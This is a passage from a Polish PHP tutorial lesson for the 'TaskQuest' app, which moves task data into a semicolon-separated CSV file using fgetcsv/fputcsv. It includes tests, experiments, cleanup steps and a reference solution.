<li>dla każdego kolejnego wiersza dodać do wyniku zadanie w takiej samej strukturze jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.php</code> (z właściwymi typami — patrz tabela z Kroku 2),</li>



<li>zamknąć plik i zwrócić tablicę zadań.</li>
</ol>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Nagłówek pomijasz jednym wywołaniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> przed pętlą (tak jak w zadaniu z odznakami). Nowe zadanie dopisujesz na koniec tablicy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania[] = [...]</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania&#91;] = &#91;
    'id' =&gt; (int) $wiersz&#91;0],
    'tytul' =&gt; $wiersz&#91;1],
    // ... opis, termin ...
    'wykonane' =&gt; $wiersz&#91;4] === '1',
    // ... xp ...
];</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wczytajZadania(string $sciezka): array
{
    $zadania = &#91;];

    if (!is_file($sciezka) || !is_readable($sciezka)) {
        return $zadania;
    }

    $uchwyt = fopen($sciezka, 'r');

    if ($uchwyt === false) {
        return $zadania;
    }

    fgetcsv($uchwyt, 0, ';', '"', '');   // pierwszy wiersz to nagłówek — pomijamy go

    while (($wiersz = fgetcsv($uchwyt, 0, ';', '"', '')) !== false) {
        $zadania&#91;] = &#91;
            'id' =&gt; (int) $wiersz&#91;0],
            'tytul' =&gt; $wiersz&#91;1],
            'opis' =&gt; $wiersz&#91;2],
            'termin' =&gt; $wiersz&#91;3],
            'wykonane' =&gt; $wiersz&#91;4] === '1',
            'xp' =&gt; (int) $wiersz&#91;5]
        ];
    }

    fclose($uchwyt);

    return $zadania;
}</code></pre>
</details>



<h2 class="wp-block-heading">Krok 6 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> czyta zadania z pliku</h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> zmieniamy dwa miejsca (reszta pliku zostaje <strong>bez zmian</strong>):</p>



<p class="wp-block-paragraph"><strong>a)</strong> W bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">--- pliki aplikacji ---</code> <strong>zamień</strong> linię</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/data/zadania.php';</code></pre>



<p class="wp-block-paragraph">na</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/includes/funkcje_plikow.php';</code></pre>



<p class="wp-block-paragraph"><strong>b)</strong> Pod blokiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">--- dane użytkownika ---</code> (a nad <code class="prettyprint lang-sql" style="font-size: 0.85em;">--- dane grywalizacji (symulowane) ---</code>) dodaj nowy blok:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- dane zadań (z pliku CSV) ---
$zadania = wczytajZadania(PLIK_ZADAN);</code></pre>



<p class="wp-block-paragraph">Od tej chwili <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> nie jest już zapisane w kodzie — jest wynikiem odczytu z pliku, a cała reszta <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzAktywneZadania($zadania)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">sortujPoTerminie($zadania)</code>, pętla <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach</code>…) działa tak jak wcześniej.</p>



<p class="wp-block-paragraph"><strong>c)</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code> zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.0</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.1</code>.</p>



<p class="wp-block-paragraph">Odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Strona ma wyglądać <strong>tak samo</strong> jak po Lekcji 10 (jedyna różnica: wersja w stopce). Jeśli widzisz „Brak zadań.” — sprawdź, czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> istnieje i czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">PLIK_ZADAN</code> wskazuje właściwe miejsce.</p>



<h1 class="wp-block-heading">7. Kolejne zadanie — odporność na „brudny” plik i diagnostyka</h1>



<h2 class="wp-block-heading">7.1 Pusta linia w środku pliku</h2>



<p class="wp-block-paragraph">Plik CSV edytuje człowiek — a ludzie zostawiają puste linie. Sprawdźmy, co się stanie.</p>



<p class="wp-block-paragraph"><strong>Eksperyment przed poprawką:</strong> otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, wstaw <strong>pustą linię</strong> między wiersz z <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 2 a wiersz z <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 3 i zapisz plik. Odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<p class="wp-block-paragraph">Zobaczysz kilka ostrzeżeń <code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined array key</code> i błąd krytyczny w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyczyscTytul()</code>, który dostał <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> zamiast tekstu. Dlaczego? <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> dla pustej linii zwraca tablicę z <strong>jednym</strong> polem (<code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>), a my próbujemy odczytać z niej pola 1–5.</p>



<p class="wp-block-paragraph"><strong>SAMODZIELNIE:</strong> popraw <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> tak, żeby pomijała każdy wiersz, który nie ma dokładnie 6 pól (pusta linia albo uszkodzony wiersz). Użyj <code class="prettyprint lang-sql" style="font-size: 0.85em;">count()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">continue</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Sprawdzenie robisz na samym początku pętli, zanim dotkniesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz[1]</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph">W pętli <code class="prettyprint lang-sql" style="font-size: 0.85em;">while</code>, jako pierwsza instrukcja:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if (count($wiersz) !== 6) {
    continue;   // pusta linia albo uszkodzony wiersz
}</code></pre>



<p class="wp-block-paragraph">Odśwież stronę — ostrzeżenia znikają, lista zadań jest kompletna. Usuń wstawioną pustą linię.</p>
</details>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Świadome uproszczenie:</strong> uszkodzone wiersze są pomijane <strong>po cichu</strong>. Użytkownik nie dowie się, że coś zniknęło. Lepsze rozwiązanie (zgłoszenie problemu) da się zrobić dopiero z wyjątkami — Lekcja 12.</p>
</blockquote>



<h2 class="wp-block-heading">7.2 Diagnostyka zna nowe pliki</h2>



<p class="wp-block-paragraph">Strona <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> sprawdza listę wymaganych plików — a ta lista jest już nieaktualna. Popraw ją:</p>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> <strong>zamień</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">'data/zadania.php'</code> na dwa wpisy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">'includes/funkcje_plikow.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'data/zadania.csv'</code> (razem 11 plików).</li>



<li>Z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$katalogiDoPrzegladu</code> usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">'data'</code> — w tym katalogu nie będzie już plików <code class="prettyprint lang-sql" style="font-size: 0.85em;">.php</code>.</li>



<li>Pod sekcją „Zawartość katalogów” dodaj nową sekcję „Pliki danych (.csv w data/)”, która wypisze liczbę i nazwy plików <code class="prettyprint lang-sql" style="font-size: 0.85em;">.csv</code> z katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/</code>.</li>
</ol>



<p class="wp-block-paragraph"><strong>Efekt:</strong> 11 razy <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code> oraz sekcja pokazująca <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/ — 1 plik(ów)</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania.csv</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p>funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">listaPlikowWKatalogu()</code> ma drugi parametr — rozszerzenie. Pełny kod <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> jest w rozwiązaniu referencyjnym (sekcja 10) — najpierw spróbuj samodzielnie.</p>
</details>



<h1 class="wp-block-heading">8. Testy</h1>



<h2 class="wp-block-heading">Test 1 — zapis i odczyt dają te same dane</h2>



<p class="wp-block-paragraph">Do tej pory <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.php</code> <strong>jeszcze istnieje</strong> — wykorzystamy je jako wzorzec. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/data/zadania.php';

$plikTestowy = __DIR__ . '/data/test.csv';

zapiszZadania($plikTestowy, $zadania);
$odczytane = wczytajZadania($plikTestowy);

var_dump($odczytane === $zadania);

unlink($plikTestowy);</code></pre>



<p class="wp-block-paragraph"><strong>Oczekiwane:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(true)</code>. Operator <code class="prettyprint lang-sql" style="font-size: 0.85em;">===</code> na tablicach sprawdza klucze, wartości <strong>i typy</strong> — więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> oznacza, że <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> wrócił jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>, a spacje w tytułach zostały zachowane. (<code class="prettyprint lang-sql" style="font-size: 0.85em;">unlink()</code> usuwa plik testowy — pilnujemy, żeby zostawić po sobie porządek.)</p>



<h2 class="wp-block-heading">Test 2 — trudne dane</h2>



<p class="wp-block-paragraph">Zastąp w powyższym kodzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> własną tablicą i sprawdź, co się stanie z tekstem zawierającym średnik i cudzysłów:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$trudne = &#91;&#91;
    'id' =&gt; 7,
    'tytul' =&gt; 'Ćwiczenia; DateTime',
    'opis' =&gt; 'Powiedz "cześć"',
    'termin' =&gt; '2026-10-01',
    'wykonane' =&gt; false,
    'xp' =&gt; 5
]];

zapiszZadania($plikTestowy, $trudne);
echo file_get_contents($plikTestowy);
var_dump(wczytajZadania($plikTestowy) === $trudne);</code></pre>



<p class="wp-block-paragraph"><strong>Oczekiwane</strong> (usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">unlink()</code>, jeśli chcesz obejrzeć plik):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">id;tytul;opis;termin;wykonane;xp
7;"Ćwiczenia; DateTime";"Powiedz ""cześć""";2026-10-01;0;5
bool(true)</code></pre>



<p class="wp-block-paragraph">Cudzysłów wewnątrz pola jest zapisywany jako dwa cudzysłowy — i poprawnie odczytywany z powrotem.</p>



<h2 class="wp-block-heading">Test 3 — różne zawartości pliku</h2>



<p class="wp-block-paragraph">Zanim ruszysz dalej, <strong>przewidź</strong> wynik każdego przypadku, a dopiero potem sprawdź. Pomocnik w <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';

$plikTestowy = __DIR__ . '/data/test.csv';
$naglowek = "id;tytul;opis;termin;wykonane;xp\n";

function ileZadan(string $plik, string $zawartosc): int
{
    file_put_contents($plik, $zawartosc);
    return count(wczytajZadania($plik));
}

echo ileZadan($plikTestowy, "") . "&lt;br&gt;";
echo ileZadan($plikTestowy, $naglowek) . "&lt;br&gt;";
echo ileZadan($plikTestowy, $naglowek . "1;a;b;2026-01-01;1;5\n") . "&lt;br&gt;";
echo ileZadan($plikTestowy, $naglowek . "1;a;b;2026-01-01;1;5\n\n2;c;d;2026-01-02;0;7\n") . "&lt;br&gt;";
echo ileZadan($plikTestowy, $naglowek . "1;a;b;2026-01-01;1\n") . "&lt;br&gt;";
echo ileZadan($plikTestowy, "id,tytul\n1,a\n") . "&lt;br&gt;";

echo count(wczytajZadania(__DIR__ . '/data/nie_ma.csv'));

unlink($plikTestowy);</code></pre>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Zawartość pliku</th><th>Oczekiwany wynik</th></tr></thead><tbody><tr><td>pusty plik</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code></td></tr><tr><td>tylko nagłówek</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code></td></tr><tr><td>nagłówek + 1 poprawny wiersz</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code></td></tr><tr><td>nagłówek + wiersz + pusta linia + wiersz</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">2</code></td></tr><tr><td>wiersz z 5 polami zamiast 6</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code></td></tr><tr><td>plik rozdzielony przecinkami</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code></td></tr><tr><td>plik nie istnieje</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> (bez żadnego ostrzeżenia)</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 4 — zmiana pliku zmienia aplikację</h2>



<p class="wp-block-paragraph">Bez dotykania kodu PHP. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> zmień zadanie o <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 2: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>. Odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<p class="wp-block-paragraph"><strong>Oczekiwane:</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">Wszystkie: 5 | Wykonane: 3 | Aktywne: 2</code></li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">XP do zdobycia z aktywnych zadań: 40</code> (zostały zadania 3 i 4: 10 + 30)</li>



<li>komunikat o awansie na poziom 2</li>



<li>najpilniejsze zadanie: <strong>Ćwiczenia z DateTime</strong></li>



<li>zadanie „Powtórzyć funkcje” jest oznaczone <code class="prettyprint lang-sql" style="font-size: 0.85em;">[X]</code> i wyszarzone</li>
</ul>



<p class="wp-block-paragraph">Przywróć wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>.</p>



<h2 class="wp-block-heading">Test 5 — przypadki brzegowe aplikacji</h2>



<ol class="wp-block-list">
<li>Zostaw w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> <strong>tylko nagłówek</strong> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">Wszystkie: 0</code>, komunikat <strong>„Brak zadań.”</strong>, brak błędów.</li>



<li>Tymczasowo zmień nazwę <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania_x.csv</code> → strona pokazuje <strong>„Brak zadań.”</strong> i nie wyświetla żadnych ostrzeżeń. Przywróć nazwę.</li>



<li>Zastanów się: czy komunikat „Brak zadań.” w przypadku 2 jest <strong>prawdziwy</strong>? (Do tego wrócimy w pytaniach kontrolnych i w Lekcji 12.)</li>
</ol>



<h2 class="wp-block-heading">Test 6 — regresja: czy nic się nie zepsuło?</h2>



<p class="wp-block-paragraph">Uruchom obok siebie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja10/index.php</code> (kopia zapasowa) i nowy <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/index.php</code> <strong>tego samego dnia</strong>. Poza wersją w stopce (<code class="prettyprint lang-sql" style="font-size: 0.85em;">1.0</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.1</code>) treść ma być identyczna: te same liczniki, ten sam pasek, te same komunikaty terminów, ta sama kolejność zadań. Sprawdź też <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> — 11 razy <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>.</p>



<h2 class="wp-block-heading">Sprzątanie</h2>



<p class="wp-block-paragraph">Dopiero gdy testy 1–6 przeszły:</p>



<ol class="wp-block-list">
<li>Usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">migracja.php</code> (drugie uruchomienie po usunięciu <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania.php</code> skończyłoby się błędem, a jej zadanie jest wykonane).</li>



<li>Usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.php</code> — od teraz jedynym źródłem zadań jest plik CSV.</li>



<li>Usuń pliki brudnopisu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dziennik.txt</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">gracze.csv</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">odznaki.csv</code>.</li>



<li>Odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> — nadal ma działać, nadal 11 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>.</li>
</ol>



<h1 class="wp-block-heading">9. Obowiązkowe eksperymenty</h1>



<p class="wp-block-paragraph">Eksperymenty 1 i 3 wykonuj na plikach brudnopisu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">dziennik.txt</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/test.csv</code>), <strong>nie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania.csv</code></strong>.</p>



<h3 class="wp-block-heading">Eksperyment 1: <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code> kontra <code class="prettyprint lang-sql" style="font-size: 0.85em;">a</code></h3>



<p class="wp-block-paragraph">W rozwiązaniu z sekcji 4 zmień pierwsze otwarcie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">'w'</code>) na <code class="prettyprint lang-sql" style="font-size: 0.85em;">'a'</code> i uruchom stronę trzy razy. Zajrzyj do <code class="prettyprint lang-sql" style="font-size: 0.85em;">dziennik.txt</code>. Ile jest w nim linii <code class="prettyprint lang-sql" style="font-size: 0.85em;">Start TaskQuest</code> i skąd się wzięły? Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">'w'</code>, uruchom raz i porównaj. Który tryb wybraliśmy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> i dlaczego dopisywanie nie miałoby tu sensu?</p>



<h3 class="wp-block-heading">Eksperyment 2: zły separator</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> zamień w <strong>obu</strong> wywołaniach <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code> separator <code class="prettyprint lang-sql" style="font-size: 0.85em;">';'</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">','</code> i odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Co pokazuje strona i <strong>dlaczego</strong> (co zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">fgetcsv()</code>, gdy w linii nie ma przecinków, i który warunek zadziałał)? Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">';'</code>.</p>



<p class="wp-block-paragraph">Wniosek: przy złym formacie pliku aplikacja nie zgłasza błędu — po cichu pokazuje „Brak zadań.”. To ta sama niepokojąca cisza, o której była mowa w Teście 5.</p>



<h3 class="wp-block-heading">Eksperyment 3: bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code></h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> usuń rzutowanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">'id'</code> (zostaw samo <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz[0]</code>) i uruchom Test 1. Jaki wynik dostajesz? Czy strona główna wygląda inaczej? Dopisz do brudnopisu:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump($odczytane&#91;0]&#91;'id']);</code></pre>



<p class="wp-block-paragraph">i porównaj typ z tym, co jest w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania[0]['id']</code>. Co to mówi o różnicy między <code class="prettyprint lang-sql" style="font-size: 0.85em;">==</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">===</code>? Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code>.</p>



<h3 class="wp-block-heading">Eksperyment 4 (dodatkowy): plik tylko do odczytu</h3>



<p class="wp-block-paragraph">Zapisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/test.csv</code> przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code>, a następnie ustaw w systemie atrybut „tylko do odczytu” (Windows: Właściwości → Tylko do odczytu; Linux/macOS: <code class="prettyprint lang-sql" style="font-size: 0.85em;">chmod 444</code>). Wywołaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> jeszcze raz i wypisz wynik przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code>. Co zwróciła funkcja i co zobaczyłaś/zobaczyłeś na ekranie oprócz tego? Zdejmij atrybut i usuń plik.</p>



<h1 class="wp-block-heading">10. ROZWIĄZANIE — wersja referencyjna</h1>



<p class="wp-block-paragraph">Pełny kod TaskQuest po Lekcji 11. Nowe lub zmienione: <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">migracja.php</code> (jednorazowy). <strong>Bez zmian względem Lekcji 10:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_grywalizacji.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_terminow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_diagnostyczne.php</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Ustawienia aplikacji TaskQuest
define('XP_NA_POZIOM', 100);
define('PLIK_ZADAN', dirname(__DIR__) . '/data/zadania.csv');</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Funkcje odczytu i zapisu plików z danymi TaskQuest (CSV, separator ;)

function wczytajZadania(string $sciezka): array
{
    $zadania = &#91;];

    if (!is_file($sciezka) || !is_readable($sciezka)) {
        return $zadania;
    }

    $uchwyt = fopen($sciezka, 'r');

    if ($uchwyt === false) {
        return $zadania;
    }

    fgetcsv($uchwyt, 0, ';', '"', '');   // pierwszy wiersz to nagłówek — pomijamy go

    while (($wiersz = fgetcsv($uchwyt, 0, ';', '"', '')) !== false) {
        if (count($wiersz) !== 6) {
            continue;   // pusta linia albo uszkodzony wiersz
        }

        $zadania&#91;] = &#91;
            'id' =&gt; (int) $wiersz&#91;0],
            'tytul' =&gt; $wiersz&#91;1],
            'opis' =&gt; $wiersz&#91;2],
            'termin' =&gt; $wiersz&#91;3],
            'wykonane' =&gt; $wiersz&#91;4] === '1',
            'xp' =&gt; (int) $wiersz&#91;5]
        ];
    }

    fclose($uchwyt);

    return $zadania;
}


function zapiszZadania(string $sciezka, array $zadania): bool
{
    $uchwyt = fopen($sciezka, 'w');

    if ($uchwyt === false) {
        return false;
    }

    fputcsv($uchwyt, &#91;'id', 'tytul', 'opis', 'termin', 'wykonane', 'xp'], ';', '"', '');

    foreach ($zadania as $zadanie) {
        fputcsv($uchwyt, &#91;
            $zadanie&#91;'id'],
            $zadanie&#91;'tytul'],
            $zadanie&#91;'opis'],
            $zadanie&#91;'termin'],
            $zadanie&#91;'wykonane'] ? 1 : 0,
            $zadanie&#91;'xp']
        ], ';', '"', '');
    }

    fclose($uchwyt);

    return true;
}</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">id;tytul;opis;termin;wykonane;xp
1;"   Nauczyć   się regexów   PHP   ";"Powtórzyć wyrażenia regularne przed następną lekcją.";2026-09-20;1;20
2;"Powtórzyć funkcje";"Przejrzeć wszystkie funkcje TaskQuest i sprawdzić ich parametry oraz typy zwracanych wartości.";2026-09-16;0;15
3;"Ćwiczenia z DateTime";"Napisać trzy własne przykłady z diff() i format().";2026-09-18;0;10
4;"Nauczyć się tablic PHP";"Zbudować listę zadań TaskQuest jako tablicę tablic asocjacyjnych.";2026-09-25;0;30
5;"Przygotować projekt do Lekcji 10";"Zastanowić się, jak podzielić TaskQuest na pliki i katalogi.";2026-09-22;1;25</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';


// --- dane użytkownika ---
$imieUzytkownika = "Kama";
$login = "Kama_2026";


// --- dane zadań (z pliku CSV) ---
$zadania = wczytajZadania(PLIK_ZADAN);


// --- dane grywalizacji (symulowane) ---
$xp = 99;
$streak = 5;
$dataOstatniejAktywnosci = "2026-09-14";


// --- wywołania funkcji: grywalizacja ---
$poziom = obliczPoziom($xp);
$tytul = pobierzTytul($poziom);
$xpWAktualnymPoziomie = obliczXpWAktualnymPoziomie($xp, $poziom);
